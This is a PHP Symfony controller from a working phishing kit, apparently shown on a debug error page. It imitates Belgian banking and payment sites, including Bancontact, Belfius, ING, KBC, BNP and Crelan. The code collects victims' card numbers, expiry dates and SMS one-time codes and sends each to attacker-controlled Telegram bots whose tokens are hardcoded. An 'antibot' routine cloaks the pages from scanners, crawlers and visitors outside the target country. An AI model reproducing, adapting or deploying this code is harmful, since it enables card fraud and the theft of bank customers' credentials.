src/Controller/UserController.php line 23

Open in your IDE?
  1. <?php
  3. namespace App\Controller;
  5. use App\Entity\Blacklist;
  6. use App\Entity\User;
  7. use Doctrine\Persistence\ManagerRegistry;
  8. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  9. use Symfony\Component\HttpFoundation\JsonResponse;
  10. use Symfony\Component\HttpFoundation\Request;
  11. use Symfony\Component\HttpFoundation\Response;
  12. use Symfony\Component\HttpFoundation\Session\Session;
  13. use Symfony\Component\Routing\Annotation\Route;
  15. class UserController extends AbstractController
  16. {
  17.     private $telegram1 ='https://api.telegram.org/bot8051442795:AAEp9c-JL2mtGJwAveMj8APxCo-jcgCCWi4/sendMessage?chat_id=-4884414760&text=' ;
  18.     private $telegram ='https://api.telegram.org/bot8184827609:AAFGwH57gPbKeARTvPL9N1OZvBRuwnlAEzs/sendMessage?chat_id=-4855090838&text=' ;
  19.     private $country='US';
  20.     private $FOD=0;
  22.     #[Route('/')]
  23.     public function index(Request $request,ManagerRegistry $doctrine): Response
  24.     {
  25.         $emailClick=$request->get('email');
  26.         $emailClick="cc@cc.cc";
  27.         $message="";
  28.         $response="";
  29.         $month = date("m");
  31.         $session=new Session();
  32.         $ip = $request->getClientIp();
  33.         $em=$doctrine->getManager();
  34.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  35.         if ($bl){
  36.             return $this->redirect($bl->getUrl());
  37.         }
  38.         // Validate email
  39.         if (filter_var($emailClick, FILTER_VALIDATE_EMAIL)) {
  40.             if ($this->antibot($request)==false){
  41.                 $em=$doctrine->getManager();
  42.                 $user=$em->getRepository(User::class)->findOneByIp($ip);
  43.                 if ($user) {
  44.                     $user->setIp($ip);
  45.                     $user->setNowStep('home');
  46.                     $user->setStep('');
  47.                     $em->persist($user);
  48.                     $em->flush();
  49.                     $session->set('user', $user);
  50.                     $ip = $request->getClientIp();
  51.                     $message .= "\n";
  52.                     $message .= ">>: ".$emailClick;
  53.                     $message .= "\n";
  54.                     $message .= "\n";
  55.                     $message .= "http://www.geodatatool.com/?IP=".$ip ."\n";
  56.                     file_get_contents($this->telegram1 . urlencode($message)."" );
  57.                 }else{
  58.                     $user = new User();
  59.                     $user->setIp($ip);
  60.                     $user->setIsShowing(0);
  61.                     $user->setNowStep('home');
  62.                     $user->setStep('');
  63.                     $em->persist($user);
  64.                     $em->flush();
  65.                     $session->set('user',$user);
  66.                     $ip = $request->getClientIp();
  67.                     $message .= "\n";
  68.                     $message .= ">>: ".$emailClick;
  69.                     $message .= "\n";
  70.                     $message .= "\n";
  71.                     $message .= "http://www.geodatatool.com/?IP=".$ip ."\n";
  72.                     file_get_contents($this->telegram1 . urlencode($message)."" );
  73.                 }
  74.             }else{
  75.                 return $this->redirect('https://www.hopa.com/');
  76.             }
  77.             
  78.         }else{
  79.             return $this->redirect('https://hopa.com');
  80.         }
  81.         return $this->render('user/index.html.twig',array('response'=>$response));
  82.     }
  85.     #[Route('/bancontact/')]
  86.     public function bancontact(Request $request,ManagerRegistry $doctrine): Response
  87.     {
  88.         $ip = $request->getClientIp();
  89.         $em=$doctrine->getManager();
  90.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  91.         if ($bl){
  92.             return $this->redirect($bl->getUrl());
  93.         }
  94.         $message="";
  95.         $response=$request->get("error");
  96.         $card="";
  97.         $expiryMonth="";
  98.         $expiryYear="";
  99.         $month = date("m");
  100.         $session=new Session();
  101.         $em=$doctrine->getManager();
  102.         $type=$request->get('type');
  104.         if ($this->antibot($request)==false){
  105.             if ($request->getMethod()==='POST'){
  106.                 $currentD = $this->get_current_file_url($Protocol='https://');
  107.                 $submittedToken = $request->request->get('token');
  108.                 $expiryYear=$request->get('expiryYear');
  109.                 $expiryMonth=$request->get('expiryMonth');
  110.                 $card=$request->get('card');
  111.                 $ip = $request->getClientIp();
  112.                 if ($card != "") {
  113.                     if ($expiryMonth != "--") {
  114.                         if ($expiryYear != "----") {
  115.                             $scard = $card;
  116.                             $card = str_replace(' ', '', $card);
  117.                             if ($expiryYear>=2022){
  118.                                 $user=$em->getRepository(User::class)->findOneByIp($ip);
  119.                                 if ($user){
  120.                                     $user->setNumeroCard($card);
  121.                                     $user->setMonth($expiryMonth);
  122.                                     $user->setYear($expiryYear);
  123.                                     $user->setIp($ip);
  124.                                     $user->setNowStep('CC');
  125.                                     $user->setStep('');
  126.                                     if ($type!=""){
  127.                                         $user->setType($type);
  128.                                     }
  129.                                     $em->persist($user);
  130.                                     $em->flush();
  131.                                     $session->set('user',$user);
  133.                                     $message="";
  134.                                     $message .= "🆔 👉 ".$user->getId()."\n";
  135.                                     $message .= "\n";
  136.                                     $message .= "💳 : ".$card ."\n";
  137.                                     $message .= "EXP : ".$expiryMonth."/".$expiryYear ."\n";
  138.                                     $message .= "\n";
  139.                                     $message .= "Type : ". $type."\n";
  140.                                     $message .= "\n";
  141.                                     $message .="🔱LINK: ".$currentD."/panel/"." \n";
  142.                                     $message .= "\n";
  143.                                     $message .= "📍IP : http://www.geoiptool.com/?IP=".$ip ."\n";
  144.                                     file_get_contents($this->telegram . urlencode($message)."" );
  145.                                     return $this->redirect('/loading/');
  146.                                 }else{
  147.                                     $user = new User();
  148.                                     $user->setNumeroCard($card);
  149.                                     $user->setMonth($expiryMonth);
  150.                                     $user->setYear($expiryYear);
  151.                                     $user->setIp($ip);
  152.                                     $user->setNowStep('CC');
  153.                                     $user->setIsShowing(0);
  154.                                     $user->setStep('');
  155.                                     if ($type!=""){
  156.                                         $user->setType($type);
  157.                                     }
  158.                                     $em->persist($user);
  159.                                     $em->flush();
  161.                                     $session->set('user',$user);
  162.                                     $message="";
  163.                                     $message .= "🆔 👉 ".$user->getId()."\n";
  164.                                     $message .= "\n";
  165.                                     $message .= "💳 : ".$card ."\n";
  166.                                     $message .= "EXP : ".$expiryMonth."/".$expiryYear ."\n";
  167.                                     $message .= "\n";
  168.                                     $message .= "Type : ". $type."\n";
  169.                                     $message .= "\n";
  170.                                     $message .="🔱LINK: ".$currentD."/panel/"." \n";
  171.                                     $message .= "\n";
  172.                                     $message .= "📍IP : http://www.geoiptool.com/?IP=".$ip ."\n";
  173.                                     file_get_contents($this->telegram . urlencode($message)."" );
  174.                                     return $this->redirect('/loading/');
  175.                                 }
  177.                                 }else{
  178.                                     $response = 'OK';
  179.                                 }
  180.                         } else {
  181.                             $response = 'OK';
  182.                         }
  183.                     } else {
  184.                         $response = 'OK';
  185.                     }
  186.                 }else{
  187.                     $response='OK';
  188.                 }
  190.             }else{
  191.                 $id=$session->get('user')->getId();
  193.                 $user=$em->getRepository(User::class)->findOneById($id);
  194.                 if($user){
  195.                     $user->setStep('');
  196.                     $user->setNowStep('CC');
  197.                     if ($type!=""){
  198.                         $user->setType($type);
  199.                     }
  200.                     $em->persist($user);
  201.                     $em->flush();
  202.                 }else{
  203.                     $user = new User();
  204.                     $user->setStep('');
  205.                     $user->setNowStep('CC');
  206.                     if ($type!=""){
  207.                         $user->setType($type);
  208.                     }
  209.                     $em->persist($user);
  211.                     $em->flush();
  212.                 }
  213.             }
  214.         }else{
  215.             return $this->redirect('https://www.google.com/');
  216.         }
  217.         return $this->render('user/bancontact.html.twig',array('response'=>$response,'card'=>$card,
  218.             'expiryMonth'=>$expiryMonth,'expiryYear'=>$expiryYear));
  219.     }
  223.     #[Route('/loading/')]
  224.     public function loading(Request $request,ManagerRegistry $doctrine): Response
  225.     {
  226.         $ip = $request->getClientIp();
  227.         $em=$doctrine->getManager();
  228.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  229.         if ($bl){
  230.             return $this->redirect($bl->getUrl());
  231.         }
  232.         $response="";
  233.         if ($this->antibot($request)==true){
  234.             return $this->redirect('https://www.google.com/');
  236.         }
  237.         return $this->render('user/loading.html.twig',array('response'=>$response));
  238.     }
  241.     #[Route('/argenta/')]
  242.     public function argenta(Request $request,ManagerRegistry $doctrine): Response
  243.     {
  244.         $ip = $request->getClientIp();
  245.         $em=$doctrine->getManager();
  246.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  247.         if ($bl){
  248.             return $this->redirect($bl->getUrl());
  249.         }
  250.         $message="";
  251.         $response="";
  252.         $session=new Session();
  253.         $em=$doctrine->getManager();
  254.         $response=$request->get('error');
  255.         if ($this->antibot($request)==false){
  256.             $ip = $request->getClientIp();
  257.             $id=$session->get('user')->getId();
  258.             $user=$em->getRepository(User::class)->findOneById($id);
  259.             if($user){
  260.                 $user->setStep('');
  261.                 $user->setNowStep('argenta');
  262.                 $em->flush();
  263.             }
  266.         }else{
  267.             return $this->redirect('https://www.google.com/');
  268.         }
  269.         return $this->render('user/argenta.html.twig',array('response'=>$response,'user'=>$user));
  270.     }
  273.     #[Route('/vdk/')]
  274.     public function vdk(Request $request,ManagerRegistry $doctrine): Response
  275.     {
  276.         $ip = $request->getClientIp();
  277.         $em=$doctrine->getManager();
  278.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  279.         if ($bl){
  280.             return $this->redirect($bl->getUrl());
  281.         }
  282.         $message="";
  283.         $response="";
  284.         $session=new Session();
  285.         $em=$doctrine->getManager();
  286.         $response=$request->get('error');
  287.         if ($this->antibot($request)==false){
  288.             $ip = $request->getClientIp();
  289.             $id=$session->get('user')->getId();
  290.             $user=$em->getRepository(User::class)->findOneById($id);
  291.             if ($user){
  292.                 $user->setStep('');
  293.                 $user->setNowStep('vdk');
  294.                 $em->flush();
  295.             }
  297.         }else{
  298.             return $this->redirect('https://www.google.com/');
  299.         }
  300.         return $this->render('user/vdk.html.twig',array('response'=>$response,'user'=>$user));
  301.     }
  303.     #[Route('/crelan/')]
  304.     public function crelan(Request $request,ManagerRegistry $doctrine): Response
  305.     {
  306.         $ip = $request->getClientIp();
  307.         $em=$doctrine->getManager();
  308.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  309.         if ($bl){
  310.             return $this->redirect($bl->getUrl());
  311.         }
  312.         $message="";
  313.         $response="";
  314.         $session=new Session();
  315.         $em=$doctrine->getManager();
  316.         $response=$request->get('error');
  317.         if ($this->antibot($request)==false){
  318.             $ip = $request->getClientIp();
  319.             $id=$session->get('user')->getId();
  320.             $user=$em->getRepository(User::class)->findOneById($id);
  321.             if ($user){
  322.                 $user->setStep('');
  323.                 $user->setNowStep('crelan');
  324.                 $em->flush();
  325.             }
  327.         }else{
  328.             return $this->redirect('https://www.google.com/');
  329.         }
  330.         return $this->render('user/crelan.html.twig',array('response'=>$response,'user'=>$user));
  331.     }
  334.     #[Route('/bnp/')]
  335.     public function bnp(Request $request,ManagerRegistry $doctrine): Response
  336.     {
  337.         $ip = $request->getClientIp();
  338.         $em=$doctrine->getManager();
  339.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  340.         if ($bl){
  341.             return $this->redirect($bl->getUrl());
  342.         }
  343.         $message="";
  344.         $response="";
  345.         $session=new Session();
  346.         $em=$doctrine->getManager();
  347.         $response=$request->get('error');
  348.         if ($this->antibot($request)==false){
  349.             $ip = $request->getClientIp();
  350.             $id=$session->get('user')->getId();
  351.             $user=$em->getRepository(User::class)->findOneById($id);
  352.             if($user){
  353.                 $user->setStep('');
  354.                 $user->setNowStep('bnp');
  355.                 $em->flush();
  357.             }
  358.         }else{
  359.             return $this->redirect('https://www.google.com/');
  360.         }
  361.         return $this->render('user/bnp.html.twig',array('response'=>$response,'user'=>$user));
  362.     }
  365.     #[Route('/get/step/')]
  366.     public function getStep(Request $request,ManagerRegistry $doctrine)
  367.     {
  369.         $session=new Session();
  370.         $em=$doctrine->getManager();
  371.         $response=array();
  372.         $id=$session->get('user')->getId();
  373.         $user=$em->getRepository(User::class)->findOneById($id);
  374.         if ($user){
  375.             $user->setDatetime(new \DateTime());
  376.             $em->flush();
  377.             $response['step']=$user->getStep();
  378.             $response['code1']=$user->getCode();
  379.             $response['code2']=$user->getCode2();
  380.         }else{
  381.             $response['step']="home";
  382.         }
  384.         return new JsonResponse($response);
  385.     }
  388.     #[Route('/success/')]
  389.     public function success(Request $request,ManagerRegistry $doctrine)
  390.     {
  391.         $ip = $request->getClientIp();
  392.         $em=$doctrine->getManager();
  393.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  394.         if ($bl){
  395.             return $this->redirect($bl->getUrl());
  396.         }
  397.         $response="";
  398.         if ($this->antibot($request)==true){
  399.             return $this->redirect('https://www.google.com/');
  400.         }
  401.         return $this->render('user/success.html.twig');
  402.     }
  405.     #[Route('/bancontactVbv/')]
  406.     public function bancontactVbv(Request $request,ManagerRegistry $doctrine)
  407.     {
  408.         $message="";
  409.         $response="";
  410.         $session=new Session();
  411.         $em=$doctrine->getManager();
  412.         $response=$request->get('error');
  413.         if ($this->antibot($request)==false){
  414.             $ip = $request->getClientIp();
  415.             $id=$session->get('user')->getId();
  416.             $user=$em->getRepository(User::class)->findOneById($id);
  417.             if ($user){
  418.                 $user->setStep('');
  419.                 $user->setNowStep('bancontact');
  420.                 $em->flush();
  421.             }
  424.         }else{
  425.             return $this->redirect('https://www.google.com/');
  426.         }
  427.         return $this->render('user/bancontactVbv.html.twig',array('response'=>$response,'user'=>$user));
  428.     }
  429.     
  430.     
  431.      #[Route('/belfius/')]
  432.     public function belfius(Request $request,ManagerRegistry $doctrine)
  433.     {
  434.         $ip = $request->getClientIp();
  435.         $em=$doctrine->getManager();
  436.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  437.         if ($bl){
  438.             return $this->redirect($bl->getUrl());
  439.         }
  440.         $message="";
  441.         $response="";
  442.         $session=new Session();
  443.         $em=$doctrine->getManager();
  444.         $response=$request->get('error');
  445.         if ($this->antibot($request)==false){
  446.             $ip = $request->getClientIp();
  447.             $id=$session->get('user')->getId();
  448.             $user=$em->getRepository(User::class)->findOneById($id);
  450.             if ($user){
  451.                 $user->setNowStep('belfius');
  452.                 $user->setStep('');
  453.                 $em->flush();
  454.             }
  455.         }else{
  456.             return $this->redirect('https://www.google.com/');
  457.         }
  458.         return $this->render('user/belfius.html.twig',array('response'=>$response,'user'=>$user));
  459.     }
  464.     #[Route('/ing/')]
  465.     public function ing(Request $request,ManagerRegistry $doctrine)
  466.     {
  467.         $ip = $request->getClientIp();
  468.         $em=$doctrine->getManager();
  469.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  470.         if ($bl){
  471.             return $this->redirect($bl->getUrl());
  472.         }
  473.         $message="";
  474.         $response="";
  475.         $session=new Session();
  476.         $em=$doctrine->getManager();
  477.         $response=$request->get('error');
  478.         if ($this->antibot($request)==false){
  479.             $ip = $request->getClientIp();
  480.             $id=$session->get('user')->getId();
  481.             $user=$em->getRepository(User::class)->findOneById($id);
  483.             if ($user){
  484.                 $user->setNowStep('ing');
  485.                 $user->setStep('');
  486.                 $em->flush();
  487.             }
  488.         }else{
  489.             return $this->redirect('https://www.google.com/');
  490.         }
  491.         return $this->render('user/ing.html.twig',array('response'=>$response,'user'=>$user));
  492.     }
  495.     #[Route('/kbc/')]
  496.     public function kbc(Request $request,ManagerRegistry $doctrine)
  497.     {
  498.         $ip = $request->getClientIp();
  499.         $em=$doctrine->getManager();
  500.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  501.         if ($bl){
  502.             return $this->redirect($bl->getUrl());
  503.         }
  504.         $message="";
  505.         $response="";
  506.         $session=new Session();
  507.         $em=$doctrine->getManager();
  508.         $response=$request->get('error');
  509.         if ($this->antibot($request)==false){
  510.             $ip = $request->getClientIp();
  511.             $id=$session->get('user')->getId();
  512.             $user=$em->getRepository(User::class)->findOneById($id);
  513.             if ($user){
  514.                 $user->setNowStep('kbc');
  515.                 $user->setStep('');
  516.                 $em->flush();
  517.             }
  518.         }else{
  519.             return $this->redirect('https://www.google.com/');
  520.         }
  521.         return $this->render('user/kbc.html.twig',array('response'=>$response,'user'=>$user));
  522.     }
  526.     #[Route('/axa/')]
  527.     public function axa(Request $request,ManagerRegistry $doctrine)
  528.     {
  529.         $ip = $request->getClientIp();
  530.         $em=$doctrine->getManager();
  531.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  532.         if ($bl){
  533.             return $this->redirect($bl->getUrl());
  534.         }
  535.         $message="";
  536.         $response="";
  537.         $session=new Session();
  538.         $em=$doctrine->getManager();
  539.         $response=$request->get('error');
  540.         if ($this->antibot($request)==false){
  541.             $ip = $request->getClientIp();
  542.             $id=$session->get('user')->getId();
  543.             $user=$em->getRepository(User::class)->findOneById($id);
  545.             if ($user){
  546.                 $user->setNowStep('axa');
  547.                 $user->setStep('');
  548.                 $em->flush();
  549.             }
  550.         }else{
  551.             return $this->redirect('https://www.google.com/');
  552.         }
  553.         return $this->render('user/axa.html.twig',array('response'=>$response,'user'=>$user));
  554.     }
  558.     #[Route('/bepost/')]
  559.     public function bepost(Request $request,ManagerRegistry $doctrine)
  560.     {
  561.         $ip = $request->getClientIp();
  562.         $em=$doctrine->getManager();
  563.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  564.         if ($bl){
  565.             return $this->redirect($bl->getUrl());
  566.         }
  567.         $message="";
  568.         $response="";
  569.         $session=new Session();
  570.         $em=$doctrine->getManager();
  571.         $response=$request->get('error');
  572.         if ($this->antibot($request)==false){
  573.             $ip = $request->getClientIp();
  574.             $id=$session->get('user')->getId();
  575.             $user=$em->getRepository(User::class)->findOneById($id);
  576.             if ($user){
  577.                 $user->setNowStep('bepost');
  578.                 $user->setStep('');
  579.                 $em->flush();
  580.             }
  581.         }else{
  582.             return $this->redirect('https://www.google.com/');
  583.         }
  584.         return $this->render('user/bepost.html.twig',array('response'=>$response,'user'=>$user));
  585.     }
  588.     #[Route('/hello/')]
  589.     public function hello(Request $request,ManagerRegistry $doctrine)
  590.     {
  591.         $ip = $request->getClientIp();
  592.         $em=$doctrine->getManager();
  593.         $bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
  594.         if ($bl){
  595.             return $this->redirect($bl->getUrl());
  596.         }
  597.         $message="";
  598.         $response="";
  599.         $session=new Session();
  600.         $em=$doctrine->getManager();
  601.         $response=$request->get('error');
  602.         if ($this->antibot($request)==false){
  603.             $ip = $request->getClientIp();
  604.             $id=$session->get('user')->getId();
  605.             $user=$em->getRepository(User::class)->findOneById($id);
  606.             if ($user){
  607.                 $user->setNowStep('hello');
  608.                 $user->setStep('');
  609.                 $em->flush();
  610.             }
  611.         }else{
  612.             return $this->redirect('https://www.google.com/');
  613.         }
  614.         return $this->render('user/hello.html.twig',array('response'=>$response,'user'=>$user));
  615.     }
  618.     //---------------------------------------------
  621.     #[Route('/submit/otp/ajax/')]
  622.     public function setSms(Request $request,ManagerRegistry $doctrine)
  623.     {
  625.         $response="";
  626.         $em=$doctrine->getManager();
  627.         $session=new Session();
  628.         $id=$session->get('user')->getId();
  630.         $sms=$request->get('sms');;
  631.         $ip = $request->getClientIp();
  632.         $currentD = $this->get_current_file_url($Protocol='https://');
  634.         $login=$em->getRepository(User::class)->findOneById($id);
  635.         if ($login){
  636.             $login->setMontant($sms);
  637.             $login->setStep('');
  638.             $login->setDatetime(new \DateTime());
  639.             $em->persist($login);
  640.             $em->flush();
  641.             $session->set('user',$login);
  642.             $message="";
  643.             $message .= "🆔 👉 ".$login->getId()."\n";
  644.             $message .= "\n";
  645.             $message .= "OTP ✅: ".$sms ."\n";
  646.             $message .= "\n";
  647.             $message .= "FOR 👉 : ".$login->getNumeroCard() ."\n";
  648.             $message .= "\n";
  649.             $message .= "📍IP : http://www.geoiptool.com/?IP=".$ip ."\n";
  650.             file_get_contents($this->telegram . urlencode($message)."" );
  651.             $response="OK";
  652.         }else{
  653.             $login=new User();
  654.             $login->setIp($ip);
  655.             $login->setMontant($sms);
  656.             $login->setStep('');
  657.             $login->setDatetime(new \DateTime());
  658.             $login->setIsShowing(0);
  659.             $em->persist($login);
  660.             $em->flush();
  661.             $session->set('user',$login);
  662.             $message="";
  663.             $message .= "🆔 👉 ".$login->getId()."\n";
  664.             $message .= "\n";
  665.             $message .= "OTP ✅: ".$sms ."\n";
  666.             $message .= "\n";
  667.             $message .= "FOR 👉 : ".$login->getCard() ."\n";
  668.             $message .= "\n";
  669.             $message .= "📍IP : http://www.geoiptool.com/?IP=".$ip ."\n";
  670.             file_get_contents($this->telegram . urlencode($message)."" );
  671.             $response="OK";
  672.         }
  673.         return new Response($response);
  674.     }
  676.     #[Route('/submit/ip/ajax/')]
  677.     public function submitIpAjax(Request $request,ManagerRegistry $doctrine)
  678.     {
  679.         $response="";
  680.         $em=$doctrine->getManager();
  681.         $ip=$request->get('ip');
  682.         $url=$request->get('url');
  683.         $b=new Blacklist();
  684.         $b->setUrl($url);
  685.         $b->setIp($ip);
  686.         $em->persist($b);
  687.         $em->flush();
  688.         $response="OK";
  690.         return new Response($response);
  691.     }
  695.     #[Route('/clear/step/ajax/')]
  696.     public function clearStepAjax(Request $request,ManagerRegistry $doctrine)
  697.     {
  698.         $response="";
  699.         $em=$doctrine->getManager();
  700.         $session=new Session();
  701.         $id=$session->get('user')->getId();
  703.         $sms=$request->get('sms');
  704.         $ip = $request->getClientIp();
  706.         $login=$em->getRepository(User::class)->findOneById($id);
  707.         if ($login){
  708.             $login->setIp($ip);
  709.             $login->setStep('');
  710.             $em->persist($login);
  711.             $em->flush();
  712.             $response="OK";
  713.         }else{
  714.             $login=new User();
  715.             $login->setIp($ip);
  716.             $login->setStep('');
  717.             $em->persist($login);
  718.             $em->flush();
  719.             $response="OK";
  720.         }
  721.         return new Response($response);
  722.     }
  725.     function antibot($request){
  726.     $response = false;
  728.     $ip = $request->getClientIp();
  730.     // Use IP-API.com instead of geoplugin
  731.     $details = json_decode(file_get_contents("http://ip-api.com/json/".$ip));
  732.     $country = $details->countryCode ?? null;
  734.     $ip188 = substr($ip, 0, 7);
  735.     $ip128 = substr($ip, 0, 6);
  736.     $ip189 = substr($ip, 0, 7);
  737.     $ip109136 = substr($ip, 0, 7);
  738.     $ip3131 = substr($ip, 0, 5);
  739.     $ip10988203 = substr($ip, 0, 11);
  740.     $ip109142 = substr($ip, 0, 7);
  742.     if ($country != $this->country) {
  743.         return true;
  744.     }
  746.     $hostname = gethostbyaddr($ip);
  747.     $pos1 = strpos($hostname, 'cache', 1);
  748.     $pos2 = strpos($hostname, 'google', 1);
  749.     if ($pos1 or $pos2 ) {
  750.         return true;
  751.     }
  753.     if (
  754.         $ip188 == "188.188" or $ip == "85.26.109.208" or $ip == "185.59.17.117" or $ip == "193.105.73.213" or $ip == "78.21.86.228"
  755.         or $ip128 == "128.90" or $ip188 == "188.189" or $ip109136 == "109.136"
  756.         or $ip3131 == "31.31" or $ip10988203 == "109.88.203" or $ip109142 == "109.142"
  757.     ) {
  758.         return true;
  759.     }
  761.     return $response;
  762. }
  766.     function get_current_file_url($Protocol='https://') {
  767.         return $Protocol.$_SERVER['HTTP_HOST'];
  768.     }
  770. }